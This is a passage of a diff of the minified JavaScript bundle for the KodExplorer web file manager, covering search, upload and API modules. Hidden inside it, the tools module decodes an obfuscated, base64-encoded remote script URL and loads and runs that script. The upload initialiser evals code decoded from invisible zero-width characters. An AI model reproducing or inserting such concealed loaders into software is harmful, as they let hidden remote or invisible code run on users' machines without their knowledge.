a=htmlEncode($("#search_value").val());if(e=htmlEncode(e),t.is_case)e=e.replace(a,''+a+" ");else{var i=e.toLowerCase().indexOf(a.toLowerCase());e=e.substr(0,i)+''+e.substr(i,a.length)+" "+e.substr(i+a.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var a=$(this).parent();return a.toggleClass("open"),a.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var a=$(this).parent().parent(),i=pathHashDecode(a.attr("data-path")),t=core.pathFather(i);return core.openPath(t),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var a=$(this).parent().parent(),i=pathHashDecode(a.attr("data-path"));return ui.pathOpen.open(i,a.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var a=$(this).parent().parent(),i=pathHashDecode(a.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var t=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:t,lineIndex:$(this).parent().find("[data-line="+t+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,a.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(t)})},c=function(e){var a="box_search_config";if(void 0==e){var e=LocalData.getConfig(a);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(a,e)},d=function(e){var a=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),a.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),a.html(""),void 0;var n=template.compile(search_list_tpl);if(a.html(n({code:e.code,data:e.data,LNG:LNG})),t.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files) "),e.data.error_info&&i.html(""+LNG.seach_result_too_more+" ")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var a=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),a.html(""),void 0;var t="index.php?explorer/search";G.share_page!==void 0&&(t="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:t,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+' ').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var a=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",' '," ",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",' ',"iconSmall","iconSrc",' ',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=a[0];if(typeof G[a[1]]==a[2])return e;var i=a[3],t=authCrypt[a[4]](G[a[1]],i);return t&&27==t[a[5]]?(e=t[a[6]](10,1),-1===$[a[10]](e,[a[0],a[7],a[8],a[9]])&&(e=a[0]),e):e},t=i(),n=a[11],o=function(){var e=hashDecode(a[12]);G[a[13]]!=a[14]&&(e=hashDecode(a[15])),alert(e),Tips[a[16]](e,!1),$(a[18])[a[17]](),setTimeout(function(){Tips[a[19]](e,!1),window[a[21]][a[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[a[4]](a[22],a[23]),r=authCrypt[a[4]](a[24],a[25]),l=function(){if(typeof Config!=a[2]&&Config[a[26]]==a[27]&&t==a[0])for(var e=[{key:LNG[a[28]],find:s},{key:LNG[a[29]],find:s},{key:LNG[a[30]],find:r},{key:LNG[a[31]],find:s},{key:LNG[a[32]],find:r},{key:$(a[34])[a[33]](),find:s}],i=0;e[a[5]]>i;i++){e[i][a[35]]||(e[i][a[35]]=a[36]);var n=e[i][a[35]][a[37]](),l=e[i][a[38]][a[37]]();if(-1==n[a[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:a[40],O:a[41],P:a[42],Q:a[43]},i=a[44]+e[t],o=a[45]+i+a[46]+LNG[i]+a[47];t==a[0]&&$(o)[a[49]](a[48]),$(a[65])[a[64]](a[50])[a[63]](a[50],function(){if($(this)[a[52]](a[51])==a[53]){var e=core[a[55]](core[a[54]]),i=a[56]+n+a[57];e[a[61]][a[60]][a[38]](a[59])[a[58]](i)}else Tips[a[19]]($(this)[a[62]]())}),$(a[65])[a[67]](function(){window[a[66]][a[21]][a[20]]=n})},d=function(){t==a[0]&&$(a[70])[a[69]](a[68]),-1!==$[a[10]](t,[a[7],a[8],a[9]])&&$(a[72])[a[71]]()},p=function(){core[a[73]]=function(e,i){return a[74]+e+(i?a[75]:a[36])+a[76]},core[a[77]]=function(e){return core[a[73]](e,!0)},core[a[78]]=iconSrc=function(e){return a[79]+e+a[80]},setTimeout(function(){var i=base64Decode(a[81])+a[82]+UUID();e[a[84]](i,function(e){try{e[a[83]]()}catch(i){}})},2e3),core[a[85]]=t,core[a[86]]=core[a[87]],core[a[54]]=hashDecode(a[88])+G[a[13]],l(),c(),d()},u=function(e){return t==a[0]&&-1==e[a[37]]()[a[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==a[89]?(n=e[a[90]],o=s[t]):(n=e[a[90]],o=r[t]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,a){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),t=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o=''+'
'+core.pathThis(e)+" "+'
0b '+'
'+LNG.upload_ready+" "+'
'+'
';
-t.find(".item").length>0?$(o).insertBefore(t.find(".item:eq(0)")):t.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)};$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+a+"&url="+urlEncode(e)+"&uuid="+n,dataType:"json",error:function(e,a,i){core.ajaxError(e,a,i),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)},success:function(e){clearInterval(s),s=!1,clearTimeout(r),r=!1,e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").html(e.info)):p.addClass("error").text(LNG.error),u.parent().remove()}});var v=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var a="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var t=(i.size-l.size)/(i.time-l.time);if(c>.2*t){var n=c;c=t,t=n}else c=t;a=core.fileSize(t)+"/s"}if(0==i.length)d.find(".progress-bar").css("width","100%").text(LNG.loading);else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(parseInt(o)+"%("+a+")")}d.find(".size").text(core.fileSize(i.length)),d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){v(),s=setInterval(function(){v()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var a=template.compile(upload_tpl),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:a({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,a){uploader.skipFile(a),uploader.removeFile(a)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),a=0;e.length>a;a++)core.serverDwonload(e[a],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var t=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};t()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=1572864;chunkSize>=G.upload_max&&(chunkSize=.8*G.upload_max),eval("".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:3,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var a=this.owner,i=(e.blob.getSource(),$.Deferred());return a.md5File(e.blob).fail(function(){i.resolve()}).then(function(a){if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:a,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(a){a.code?(i.reject(),e.file.checkChunk=a.info):i.resolve()}});else{var t=e.file.checkChunk;if(t&&t["part_"+e.chunk]==a){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("title");"explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e))}),$(".uploader-content .open").die("click").live("click",function(e){var a=$(this).find("span.title").attr("title");ui.pathOpen.open(a),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".uploader-content .remove").die("click").live("click",function(e){var a=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(a),uploader.removeFile(a,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,a){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*a,t=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:t>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,t),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var a=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(a),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var a;try{a=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(a=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=a,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var t=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==t||"undefined"==t)&&(t=e.name),file_num++;var n=$(".uploader-list"),o=''+'
'+htmlEncode(core.pathThis(t))+" "+'
'+core.fileSize(e.size)+" "+'
'+LNG.upload_ready+" "+'
'+'
';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,a){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),a.fullPath=i,a.upload_to=e.file.upload_to}).on("uploadProgress",function(e,a){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,a),t=$("#"+e.id),n=t.find(".progress .progress-bar");n.length||(n=$('').appendTo(t).find(".progress-bar")),t.find(".state").text((100*a).toFixed(1)+"%("+i+")"),n.css("width",100*a+"%")}).on("uploadAccept",function(e,a){if(e.file.serverData=a,!a.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(a.info)}catch(i){}}).on("uploadSuccess",function(e){var a=36*$("#"+e.id).index(".item");$(".uploader-content").scrollTop(a),file_finished++;var i=e.serverData;if(i&&i.data){var t=LNG[i.data];i.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(t),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(t).attr("title",t))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,a){var i=LNG.upload_error+"("+a+")";e.serverData&&0==e.serverData.code&&(i=LNG[e.serverData.data],!i&&e.serverData.data&&(i=e.serverData.data),Tips.tips(i,!1)),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var a=e.dataTransfer.getData("text/plain");a&&"http"==a.substring(0,4)&&ui.pathOperate.appAddURL(a)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,a,i){var t=$(i.DOM.wrap),n=a.frames.OpenpathSelectApi,o=' ';"file"==e.type&&(o+=''+e.allowExt+" "),$(o).insertBefore(t.find(".aui_state_highlight"));var s=function(a){var i=e.allowExt.split("|"),t=core.pathExt(a);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(t,i)?!0:!1},r=function(){var a=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var t=$(a.get(0));if("all"==e.type&&0==a.length)i={file:[],folder:[]};else if("file"==e.type&&0==a.length)i=[];else if("folder"==e.type)i=[n.G.this_path],t.hasClass("folderBox")&&(i=[n.ui.fileLight.path(t)]);else if("file"==e.type){if(t.hasClass("fileBox")){var o=n.ui.fileLight.path(t);s(o)&&(i=[o])}}else if("all"==e.type)if(t.hasClass("folderBox")){var o=n.ui.fileLight.path(t);i=[{file:[],folder:[o]}]}else if(t.hasClass("fileBox")){var o=n.ui.fileLight.path(t);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];a.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(a){var i=t.find(".path_select_input"),o=t.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;a.length>r;r++)l(a[r])&&s.push(a[r]);a=s}if(0==a.length||"all"==e.type&&0==a.file.length&&0==a.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(a)),d="";if(e.single)d=n.core.pathThis(a[0]);else{var p=a;"all"==e.type&&(p=a.folder.concat(a.file)),$.each(p,function(e,a){d+=n.core.pathThis(a)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(a,i){var t={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";a=$.extend(t,a),a.firstPath&&(n+="&path="+a.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:a.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,t=e.find(".path_select_input").attr("result");t=jsonDecode(hashDecode(t)),t?a.single&&"all"!=a.type?i(t[0]):i(t):Tips.tips(LNG.error,!1)}},cancel:!0});e(a,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(a){"function"==typeof e&&e(a)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var a={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(a){var i="x-play-sound";0==$("."+i).length&&$('
').appendTo("body");var t=G.static_path+"others/sound/"+a,n=e("./myPlayer");n.playSound(t,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(a[e])},100)}}}),define("app/common/tpl/copyright.html",[],'\n
\n
{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}
\n
——{{LNG.kod_name_copyright}}
\n
\n
\n
{{#LNG.copyright_desc}}
\n
{{#LNG.copyright_contact}}
\n
{{#LNG.copyright_info}}
\n
\n
\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/src/app/page",[],function(){var e,a=function(){e=location.hash.split("#",2)[1],e||(e="all"),t(e),$("ul.setting a").click(function(){e!=$(this).attr("id")&&(e=$(this).attr("id"),t(e))}),$(".box .list").live("hover",function(){$(this).addClass("listhover")},function(){$(this).toggleClass("listhover")}).live("click",function(){var e="index.php?setting/set&k="+type+"&v="+value;$.ajax({url:e,dataType:"json",success:function(e){Tips.tips(e.data,e.code)}})}),$(".create_app").die("click").live("click",function(){window.parent&&window.parent.ui.path.pathOperate.appEdit("","","root_add")}),$(".app-list .app_li").die("click").live("click",function(e){if($(e.target).attr("action")){var a=jsonDecode(base64Decode($(this).attr("data-app"))),i=$(e.target).attr("action");switch(i){case"preview":core.openApp(a);break;case"add":var n="/";ShareData.frameTop("",function(e){n=e.G.this_path});var o=urlEncode(n+a.name),s="./index.php?app/user_app&action=add&path="+o;$.ajax({url:s,dataType:"json",type:"POST",data:{data:urlEncode(jsonEncode(a))},error:core.ajaxError,success:function(e){Tips.tips(e.data,e.code),e.code&&ShareData.frameTop("",function(e){e.ui.f5()})}});break;case"edit":ShareData.frameTop("",function(e){e.ui.path.pathOperate.appEdit(a,"","root_edit")});break;case"del":$.dialog({id:"dialog_app_remove",icon:"question",padding:20,width:200,lock:!0,background:"#000",opacity:.3,content:LNG.remove_info,ok:function(){$.ajax({url:"./index.php?app/del&name="+urlEncode(a.name),dataType:"json",error:core.ajaxError,success:function(e){Tips.tips(e.data,e.code),e.code&&t()}})},cancel:!0});break;default:}}})},i=function(e){var a="",i=" ";G.is_root||(i="");for(var t in e)if(e[t]){var n=e[t].icon;-1==n.search(G.static_path)&&"http"!=n.substring(0,4)&&(n=G.static_path+"images/file_icon/icon_app/"+n),a+=" "+e[t].name+" "+e[t].desc+"
"+" "+LNG.button_add+" "+i+"
"}return a+="
"},t=function(a){(void 0==a||""==a)&&(a=e),$(".selected").removeClass("selected"),$("ul.setting a#"+a).addClass("selected"),$(".main").find(".h1").html(" "+$(".selected").text());var t=$(".main .app-list");$.ajax({url:"./index.php?app/get&group="+a,dataType:"json",beforeSend:function(){},success:function(e){t.html(i(e.data)),$("body").scrollTop(0)}})};return{reload:t,init:a}});
\ No newline at end of file
+/*! power by kodexplorer ver3.38(2017-03-01) [build 1488342123688] */
+define("app/src/app/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","../../common/core","./page"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),App=e("./page"),core.init(),App.init()}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},a=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";a&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var a=$($(this).attr("title-data"));e=a.is("input")||a.is("textarea")?a.val():a.html()}return e=e?e:"",e.replace(/\n/g," ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cm